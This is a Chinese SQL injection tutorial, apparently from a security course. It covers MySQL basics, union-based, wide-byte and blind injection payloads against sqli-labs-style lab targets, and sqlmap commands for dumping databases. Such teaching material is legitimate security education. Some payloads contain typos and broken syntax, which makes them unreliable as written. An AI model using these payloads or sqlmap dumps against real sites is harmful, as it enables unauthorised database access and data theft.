SQL注入

本文内容来自蚁景网安课程。

数据库基本概念

数据库基础

数据库用于存放数据,用户可以对文件中的数据新增、截取、更新、删除等。

数据库管理系统

数据库管理系统(DataBase Management System,DBMS)是用于管理数据库的软件系统,一般具有存储、截取、安全保障、备份等基础功能。

数据库管理系统主要分为:关系型数据库和非关系型数据库。

管理型数据库:存储格式能直观反映实体间关系,和创建的表格相似,表与表之间有复杂的关联关系:MySQL、Oracle、Microsoft SQL Server、Access和PostgreSQL等。

非关系型数据库:指分布式、非关系型、不保证遵循ACID原则的数据存储系统:MongoDb、redis、Hbase、Cloudant等。

SQL

SQL(Structured Query Language 结构化查询语句)是一种特定目的程序语言,专门用来与数据库沟通。

MySQL基础

数据类型

MySQL支持多种类型,大致分为:数值、日期/时间和字符串(字符)类型。

MySQL约束类型

约束是一种限制,通过对表的行和列的数据做出限制,来确保表中数据的完整性、唯一性。

约束类型 关键字
主键 primary key
外键 foreign key
唯一 unique
非空 not null
自增 auto_increment
默认值 default

常见MySQL语句

mysql -u root -p

连接数据库。

1
show databases;

列出数据库管理系统的所有数据库。

image-20220226100648820

1
create database test;

创建数据库

1
drop database test;

删除数据库

1
create table abc(name varchar(20) not null);

在数据库里新建表,语法格式:create table 表名(字段名1 数据类型 约束, 字段名2 数据类型 约束);

image-20220226101032745

数据库操作

1
insert into 表名(字段1, 字段2, ……) values(1, 2, ……);

1
update 表名 set 字段名="值" where 条件;

1
select */字段 from 表名 (where 条件);

1
delete from 表名 where 条件;

order by排序

1
select * from 表名 order by 列名;

用于根据指定的列对结果集进行排序。

order by特性:当order by的数字大于列数时就会报错

limit控制输出

1
select * from 表名 limit 位置 数量;

用于控制输出数据的数量,在注入时若无回显可以用来控制数据然后进行对比。

注释符

1、#

2、-- 注意:后面有一个空格。

3、/* */

其他

version() @@version:版本信息。

@@datadir:路径。

@@version_compile_os:操作系统。

session_user():连接数据库的用户名。

system_user():系统用户名。

database():当前数据库。

MySQL逻辑函数

and && 与

or || 或

真 and 真 真

真 and 假 假

真 or 假 真

假 or 假 假

MySQL特性

information_schema

MySQL5.0以上,MySQL自带information_schema数据库,5.0以下没有。

SCHEMATA:

SCHEMA_NAME(该列保存了所有数据库名)

TABLES:

TABLE_NAME(该列存储了所有表名)

TABLE_SCHEMA(来自哪个数据库)

COLUMNS:

COLUMN_NAME(该列存储了所有的列名)

TABLE_NAME(来自哪个数据表)

TABLE_SCHEMA(来自哪个数据库)

实际运用

1
select schema_name from information_schema.schemata;

image-20220226103226551

1
select table_name from information_schema.tables where TABLE_SCHEMA='dvwa';

image-20220226103318998

1
select column_name from information_schema.columns where table_name='users';

image-20220226103429961

SQL注入基本概念

SQL注入攻击

通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都时SQL语法的一些组合,通过执行SQL语句进而执行攻击者所要的操作,目前是攻击数据库最常用的手段之一。

Web网站结构

页面层(User Interface Layer)

业务逻辑层(Businesses Logic Layer)

数据访问层(Data Access Layer)

上两层向下请求数据,数据访问层向业务逻辑层提交原始数据,业务逻辑层向表示层提交处理后的数据。

SQL注入如何产生

用户向服务器发起请求,Web服务器会向数据访问层发起SQL查询请求,如果权限验证通过就会执行SQL语句。这种网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。

SQL注入流程

客户端:参数值等数据被修改。

服务端:未经检查和过滤就把被修改的数据注入到SQL命令中,SQL命令功能被修改。

数据库引擎:执行被修改的SQL命令。

服务端:将被注入的结果返回给客户端。

客户端:根据上一次注入获取到的敏感信息构造注入语句进行进一步注入。

SQL注入危害

绕过登录验证:使用万能密码登录网站后台等。

获取敏感数据:获取网站管理员账号、密码等。

文件系统操作:列目录,读取、写入文件等。

注册表操作:读取、写入、删除注册表等。

执行系统命令:远程执行命令。

注入常见类型

根据注入位置分类:GET注入、POST注入、Head头注入。

根据结果反馈注入:有回显注入(显错注入)、无回显注入(盲注)

根据数据类型分类:字符型注入、数字型注入。

还有一些根据数据库不同进行分类等。

SQL注入攻击流程

漏洞判断依据

根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说明存在注入漏洞。

判断漏洞存在

利用单引号或双引号或\检测是否存在注入,如果报出SQL错误,或者不回显90%存在错误。

http://127.0.0.1/sqli/Less-1/?id=1

后端SQL语句为

1
select user from users where id='1' limit 0,1

输入一个单引号语句就变成了

1
select user from users where id='1'' limit 0,1

判断注入类型

可以使用and来进行判断

and 逻辑与,特性:当条件表达式两边都为真才是真,有一边假则是假。

判断表中列数

可以使用order by进行判断,当order by的数字大于当前列数时就会报错,SQL注入利用这个特性来判断列数。

注释多余语句

GET型注入可以使用#的URL编码%23或者--+注释

1
select a from b where id='1' order by 4--+' limit 0,1

中的' limit 0,1注释掉。

确定显示位

在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫展示位。

UNION操作符用于合并两个或多个SELECT语句的结果集,UNION结果集中的列名总是等于UNION中第一个SELECT语句中的列名,并且UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT语句中的列的顺序必须相同。

获取数据

查询当前数据库

1
-1' union select 1,2,database()--+

查询当前数据库的表

1
-1' union select 1, table_name,3 from information_shcema.tables where table_schema=database() --+

group_concat()函数,将多行合并成一行

获取当前数据库全部数据表

1
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schema='security'--+

这里的security数据库名、表名等的字符串表示,需要用单引号、双引号包裹住,或者可以使用对应的十六进制形式。

查询当前数据库中某个表的列

1
1' union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name='emails'--+

获取列中的数据

1
-1' union select 1,2,group_concat(id,email_id) from emails--+

SQL注入之宽字节注入

宽字节注入基本概念

背景

当某字符的大小为一个字节时,称其字符为窄字节。

当某字符的大小为两个字节时,称其字符为宽字节。

所有英文默认占一个字节,汉字占两个字节

常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等。

程序员为了防止sql注入,对用户输入中的单引号'进行处理,在单引号前加上斜杠\进行转义,这样被处理后的sql语句中,单引号不再具有作用,仅仅是内容而已,即这个单引号无法发挥和前后单引号闭合的作用,仅仅成为内容。

宽字节概念

宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。

宽字节注入原理

现在大多数网站对于SQL注入都做了一定的防御方法,如使用MySQL中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种是配置magic_quote_gpc,不过PHP高版本已经移除此功能。其实这些函数就是为了过滤用户输入的一些数据,对特殊的字符加上反斜杠\进行转义。

网站开启了magic_quote_gpc,或者使用了上面的转义函数,数据库设置成gbk编码(不是HTML编码)

在编码中gbk编码中占用2个字符,ascii占用一个字符。攻击者通过恶意构造吃掉ascii字符,就能进行下一步攻击。

原理讲解

http://abc.com/SQL-GBK/index.php?id=1

当提交id=1' and 1=1%23时,MySQL运行的SQL语句为

1
select * from user where id ='1\' and 1=1#'

提交id=1%df' and 1=1%23,SQL语句为

1
select * from user where id='1運' and 1=1#'

将反斜杠吃掉了。

宽字节注入攻击流程

判断漏洞存在

利用%df%df'进行测试。

判断注入类型

可以使用and来判断。

判断表中列数

使用order by 判断。

注释多余语句

使用%23--+进行注释。

确定显示位

利用UNION查询

获取数据

查询当前数据库select database();

1
-1%d2%27union select 1,2,database()--+

查询当前数据库的表

1
-1%d2%27union select 1,table_name,3 from information_schema.tables where table_schema=database()--+

获取当前数据库全部数据表

1
-1%d2%27union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询当前数据库的某个表中的列

1
-1%d2%27union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name=0x656D61696C73--+

获取列中的数据

1
-1%d2%27union select 1,2,group_concat(id, email_id) from emails==+

SQL注入之盲注

盲注的基本概念

盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,此时需要一些方法进行判断或尝试,这个过程称之为盲注。

盲注的分类

基于布尔的盲注:SQL语句执行后,页面不返回具体数据,只返回有或者没有(真或假)。

基于时间的盲注:SQL语句执行后,页面无任何数据返回。

盲注的基本流程

判断是否存在注入(单或双引号判断)

获取数据库长度

逐字猜解数据库名

猜解表名数量

猜解某个表名长度

逐字猜解表名

猜解表名数量

猜解某个表名长度

逐字猜解列名

判断数据数量

猜解某条数据长度

逐位猜解数据

基于布尔的盲注

布尔盲注的特性

在页面中,如果正确执行了SQL语句,则返回一种页面,如果SQL语句执行错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。

判断是否存在注入

第一步:正常查询,返回True(语句执行成功)或者返回False(语句执行成功没有查询到内容)

第二步:输入引号查看页面变化,页面返回False,可能存在漏洞,也有可能没查询到内容。

第三步:利用and进行判断,比如:1 and 1=1和1 and 1=2,1’ and 1=1--+和1' and 1=2--+,如果前者执行的结果不一样,说明是数字型的布尔盲注。如果后者执行的结果不一样,说明是字符型的布尔盲注。

获取数据库名

由于页面中没有回显,直接查询即使攻击者构造的SQL语句执行成功了,页面也不会将结果回显,所以只能靠猜。

首先获取数据库名的长度。

length()查询字符串的长度。

1
select length(databse())=6;

可以使用substr()函数截取字符串。

substr(string, start, length)截取字符串。

注意:MySQL的start从1开始。

1
select substr(database(),2,1)='e'

除了以上方法之外,还可以将值转换成ascii码查询,如s的ascii码是115

1
select ascii(substr(database(),1,1))=115

获取数据库表名

获取表名之前可以先获取数据库里表的数量。

count():返回数组中元素的个数。

获取表名长度,无回显只能利用substr截取字符串,但查询数据有多行时会报错。

可以使用limit控制输出行数,也可以使用group_concat()函数合并多行。

LIMIT接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

初始记录行的偏移量是0(不是1)。

1
2
select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)1,1))=101
select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)2,1))=109

判断表名长度

1
select length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6

获取字段名

在获取字段名前可以先获取数量

1
select (select count(column_name) from information_schema.columns where table_name="emails")=2

可能有不止一个emails表,所以可以给它限定条件,只限定于当前数据库

1
select (select count(column_name) from information_schema.columns where table_schema="security" and table_name="emails")=2

为了避免后面substr函数截取无用的长度,所以可以先判断字段的长度。

1
select length((select column_name from information_schema.columns)) where table_name='emails' limit 0,1))=2

获取字段名

1
select ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105

获取最终数据,使用group_concat()函数合并多行,不需要用limit控制输出行数了。

1
2
select ascii(substr((select group_concat(id) from emails)1,1))=48
select ascii(substr((select group_concat(id) from emails)1,1))=44

课外学习

sql注入系列之Sqli-labs(less-8)

基于时间的盲注

时间盲注的特性

在页面中,不管用户输入什么,页面都没有任何改变。

判断是否存在注入

第一步:正常查询,无任何返回。

第二步:输入PayLoad测试,如1 and sleep(3)或1' and sleep(3)--+,看页面的响应时间,如果页面加载有延迟,则说明存在漏洞。

常用函数

sleep(n):将程序挂起一段时间n秒。

if(expr1, expr2, expr3):判断语句,如果第一个语句正确就执行第二个语句,如果第二个语句错误就执行第三个语句。

判断PayLoad:

1
and if('s'='s',sleep(5),1)--+

依据:正确会延迟,错误不会延迟。

攻击流程

与布尔盲注类似,只不过多了sleep函数。

1
2
3
4
5
6
# 获取数据库名长度
select if(length(database()),sleep(3),1)=8
# 获取数据库名
select if((substr(select database()),1,1)='s'),sleep(3),1)
# 获取表名
select if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))=101),sleep(3),1)

SQLmap注入

SQLmap基本介绍

SQLmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

SQLmap安装

官网

依赖:

python环境,新版本已经支持python3

安装:

python sqlmap.py -h

快捷使用

在环境变量里的系统变量里的path将SQLmap的路径填进去。

SQLmap用法

使用手册

SQLmap wiki 中文版 v1.1

SQLmap中文手册

GET型单目标

-u指定URL

python sqlmap.py -u http://test.com/index.php?id=1

--dbs获取数据库名

-p指定参数

python sqlmap.py -u http://test.com/index.php?id=1&page=2 -p page --dbs

-D指定数据库名

--tables获取数据库表名

python sqlmap.py -u http://test.com/index.php?id=1 -D database --tables

-T指定表名

--columns获取字段名

python sqlmap.py -u http://test.com/index.php?id=1 -D database -T table --columns

-C字段名

--dump获取最终数据(拖库)

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C id, password, username --dump

--cookie要测试的页面只有在登录状态下才能访问,登录状态用cookie识别。

python sqlmap.py -u http://test.com/index.php?id=1 -cookie "name=xxx,sessid=abc" -dbs

--batch自动化测试,需要选择全部默认Y(注入过程可能比较久)

GET型多目标

-m指定文件

python sqlmap.py -m file.txt --dbs

POST型注入

-r指定数据包文件

python sqlmap.py -r test.txt -p uname

针对json格式的数据,可以将值修改为*

python sqlmap.py -r test.txt -p * --dbs

HEAD头注入

SQLmap默认测试所有的GET和POST参数,当--level的值大于等于2时也会测试HTTP Cookie头的值,当大于等于3的适合也会测试User-Agent和HTTP Referer头的值。最高可到5。

sqlmap.py -u http://eg.com/index.php --cookie "uname=Dumb" --level 2 --dbs